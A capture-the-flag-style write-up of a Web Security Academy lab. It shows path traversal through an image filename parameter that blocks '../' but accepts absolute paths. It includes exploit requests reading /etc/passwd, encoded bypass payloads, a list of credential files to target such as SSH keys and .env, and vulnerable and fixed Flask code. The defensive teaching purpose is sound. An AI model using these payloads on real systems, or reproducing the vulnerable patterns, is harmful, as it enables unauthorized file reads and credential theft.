Table of Contents
- Summary
- Methodology
- Confirm Normal Behavior
- Test Basic Path Traversal
- Try an Absolute Path
- Why This Worked
- Optional: URL-Encoded Payload
- Code Review Perspective
- Secure Implementation
- Impact
- Remediation
- Key Takeaway
Summary #
While testing the application, I identified an image-loading endpoint that accepted a filename parameter:
1GET /image?filename=42.jpg HTTP/1.1
The application returned the requested image successfully. This tells us something useful: the server is likely taking the value of filename, resolving it on the backend, reading a file from disk, and returning the result in the HTTP response — which presents a clear attack surface.
The central question becomes: can this parameter be abused to read files outside the intended image directory?
This lab demonstrates a path traversal vulnerability where traversal sequences are blocked, but absolute paths are still accepted.
Methodology #
The testing approach was straightforward:
- Identify a parameter that appears to load a file from disk.
- Send a known-good request to establish normal behavior.
- Modify the file path and observe how the application responds.
- Test whether basic traversal sequences are blocked.
- Attempt an absolute path as a bypass technique.
- Confirm impact by reading a sensitive local file.
This is black-box testing. Without knowledge of the backend implementation, the only available signals are requests, responses, status codes, headers, and observable behavior. The approach is to change one variable at a time, observe the result, and build an accurate model of what the application is doing — without guessing or relying on payload lists.
Confirm Normal Behavior #
While proxying traffic through Burp Suite, I noticed that product images were loaded through the following endpoint:
1GET /image?filename=42.jpg HTTP/1.1
2Host: 0a60007e04b2aa5a802c445e00ee0001.web-security-academy.net
The server responded with:
1HTTP/1.1 200 OK
2Content-Type: image/jpeg
3Content-Length: 98419
The response body contained valid image data, confirming that the application accepts a filename and returns the matching file. The working assumption at this stage is that the application reads from the server filesystem based on user-controlled input — not a confirmed vulnerability yet, but a behavior worth testing further.
Test Basic Path Traversal #
After sending the request to Burp Repeater, I modified the filename value to include a traversal sequence:
1GET /image?filename=../42.jpg HTTP/1.1
2Host: 0a60007e04b2aa5a802c445e00ee0001.web-security-academy.net
The server responded with:
1HTTP/1.1 400 Bad Request
2Content-Type: application/json; charset=utf-8
3
4"No such file"
This response is informative. The application processed the input and attempted to locate a file, but failed. Several explanations are possible: the application may be blocking traversal sequences, normalizing paths before resolving them, or resolving the path relative to a restricted image directory. A failure at this stage does not mean the parameter is safe — it means this specific input did not succeed. The next step is to change the approach and test a different path format.
Try an Absolute Path #
Since the application appears to block ../ sequences, the next logical step is to avoid relative traversal entirely and supply an absolute path instead. On Linux systems, /etc/passwd is a reliable test target — it typically exists, is world-readable, and has a predictable format that makes successful reads immediately obvious.
1GET /image?filename=/etc/passwd HTTP/1.1
2Host: 0a60007e04b2aa5a802c445e00ee0001.web-security-academy.net
The application responded with:
1HTTP/1.1 200 OK
2Content-Type: image/jpeg
3Content-Length: 2316
4
5root:x:0:0:root:/root:/bin/bash
6daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
7bin:x:2:2:bin:/bin:/usr/sbin/nologin
8...
9peter:x:12001:12001::/home/peter:/bin/bash
10carlos:x:12002:12002::/home/carlos:/bin/bash
11user:x:12000:12000::/home/user:/bin/bash
12academy:x:10000:10000::/academy:/bin/bash
13...
This confirms the vulnerability. The application accepted an absolute filesystem path through the filename parameter and returned the contents of /etc/passwd. The Content-Type: image/jpeg header is misleading but irrelevant — the response body contains sensitive local file contents, which is the finding.
Why This Worked #
The application was likely designed to load images from a specific directory, such as:
1/var/www/images/
Under normal usage, a request resolves to something like:
1/var/www/images/42.jpg
A secure implementation would enforce that all resolved paths remain within that directory. Instead, the application appears to have blocked traversal sequences as its primary defense — but blocking ../ is not equivalent to enforcing a path boundary. Because absolute paths were still accepted, the attacker could bypass the filter entirely without using any traversal sequences at all. The /etc/passwd payload succeeded precisely because no ../ characters were required.
This is the core issue: the application attempted to block a specific bad pattern rather than enforcing a safe file boundary. String filtering is not access control.
Optional: URL-Encoded Payload #
It is also worth testing encoded variations of the same payload. The forward slash character / can be URL-encoded as %2F, transforming the payload as follows:
1%2Fetc%2Fpasswd
The encoded request:
1GET /image?filename=%2Fetc%2Fpasswd HTTP/1.1
2Host: 0a60007e04b2aa5a802c445e00ee0001.web-security-academy.net
The server still returned the contents of /etc/passwd, confirming that the application decodes input before passing it to the file read operation. This is useful during testing because some applications apply filtering before decoding, after decoding, or inconsistently across layers. Encoding does not create the vulnerability — it helps map how the application processes input across different stages.
Encoding with Python #
1python3 -c "import urllib.parse; print(urllib.parse.quote('/etc/passwd', safe=''))"
Output:
1%2Fetc%2Fpasswd
You can also embed this directly into a curl request:
1curl "https://0a60007e04b2aa5a802c445e00ee0001.web-security-academy.net/image?filename=$(python3 -c "import urllib.parse; print(urllib.parse.quote('/etc/passwd', safe=''))")"
In a real assessment report, include only enough output to demonstrate the file was read. Reproducing the full file contents adds noise without strengthening the finding.
Code Review Perspective #
The following examples illustrate what this vulnerability looks like at the source code level. The underlying pattern to identify is simple: user-controlled input reaches a filesystem read operation without proper path enforcement.
Vulnerable Example — Direct Pass-Through #
1from flask import Flask, request, send_file
2
3app = Flask(__name__)
4
5@app.route("/image")
6def get_image():
7 filename = request.args.get("filename")
8
9 return send_file(filename)
The application accepts a user-controlled filename parameter and passes it directly into send_file() with no validation, no allowlist, and no path boundary check. An attacker supplying /etc/passwd will receive the file if the web server process has permission to read it.
Vulnerable Example — Incomplete Directory Restriction #
A developer might attempt to restrict file access to a specific directory:
1import os
2from flask import Flask, request, send_file
3
4app = Flask(__name__)
5
6IMAGE_DIR = "/var/www/images"
7
8@app.route("/image")
9def get_image():
10 filename = request.args.get("filename")
11
12 file_path = os.path.join(IMAGE_DIR, filename)
13
14 return send_file(file_path)
This looks like an improvement, but it does not hold up. When os.path.join receives an absolute path as its second argument, it discards the base directory entirely:
1os.path.join("/var/www/images", "/etc/passwd")
2# Returns: /etc/passwd
The base directory provides no protection against absolute path input. The endpoint remains vulnerable to the same payload as before.
Weak Fix — Blocking Traversal Strings #
A common but insufficient response is to filter out traversal sequences:
1import os
2from flask import Flask, request, send_file, abort
3
4app = Flask(__name__)
5
6IMAGE_DIR = "/var/www/images"
7
8@app.route("/image")
9def get_image():
10 filename = request.args.get("filename")
11
12 if "../" in filename:
13 abort(400)
14
15 file_path = os.path.join(IMAGE_DIR, filename)
16
17 return send_file(file_path)
This blocks only the literal string ../, leaving a wide range of bypasses available:
1..%2f
2%2e%2e%2f
3....//
4/etc/passwd
5%2Fetc%2Fpasswd
The filter addresses one symptom rather than the underlying issue. Blocking strings is not a substitute for validating the final resolved path.
Secure Implementation #
A more robust approach resolves the final path and verifies that it remains within the intended directory before any file operation occurs:
1from pathlib import Path
2from flask import Flask, request, send_file, abort
3
4app = Flask(__name__)
5
6IMAGE_DIR = Path("/var/www/images").resolve()
7
8@app.route("/image")
9def get_image():
10 filename = request.args.get("filename")
11
12 if not filename:
13 abort(400)
14
15 requested_path = (IMAGE_DIR / filename).resolve()
16
17 if IMAGE_DIR not in requested_path.parents:
18 abort(403)
19
20 if not requested_path.is_file():
21 abort(404)
22
23 return send_file(requested_path)
Rather than searching for known-bad patterns, this implementation checks where the path actually resolves. Both /etc/passwd and /var/www/images/../../../etc/passwd are rejected because neither resolves to a path inside IMAGE_DIR. The security decision is based on the canonical resolved path — which is the correct place to make it.
Even Better: Use an Allowlist #
If the application only needs to serve a known set of image files, an allowlist eliminates path handling from user input entirely:
1from flask import Flask, request, send_file, abort
2
3app = Flask(__name__)
4
5ALLOWED_IMAGES = {
6 "1.jpg": "/var/www/images/1.jpg",
7 "2.jpg": "/var/www/images/2.jpg",
8 "42.jpg": "/var/www/images/42.jpg",
9}
10
11@app.route("/image")
12def get_image():
13 filename = request.args.get("filename")
14
15 if filename not in ALLOWED_IMAGES:
16 abort(404)
17
18 return send_file(ALLOWED_IMAGES[filename])
The user never controls a filesystem path — they select from a fixed set of known valid names. This is generally the better design: less flexibility for the user means significantly less attack surface.
Impact #
This vulnerability allows an attacker to read arbitrary local files from the server, subject to the permissions of the web server process. Beyond /etc/passwd, an attacker may target files such as:
1/proc/self/environ
2/var/www/html/config.php
3/app/.env
4/home/user/.ssh/id_rsa
Depending on the application and environment, a successful read can expose application source code, environment variables, database credentials, API keys, private keys, and internal configuration. Path traversal does not always remain limited to information disclosure — in some cases, file reads can be chained into session theft, credential reuse, or further compromise of the environment.
Remediation #
The root cause is not the presence of traversal sequences in user input — it is the absence of enforcement around where file reads are allowed to occur. Recommended mitigations, in order of preference:
- Use an allowlist of valid filenames mapped to absolute server paths.
- Resolve the final canonical path before any file operation and verify it falls within the intended directory.
- Reject absolute paths and path separators when they are not required by the application.
- Avoid relying on string-based filtering as a primary defense.
Key Takeaway #
This lab illustrates a common and exploitable misconfiguration: the application blocked relative traversal sequences but continued to accept absolute paths, making the filter trivial to bypass. When testing file path parameters, a blocked ../ is not a signal that the endpoint is safe — it is a signal to try a different approach. Testing a range of path formats, including absolute paths and encoded variants, is essential to accurately characterizing the attack surface.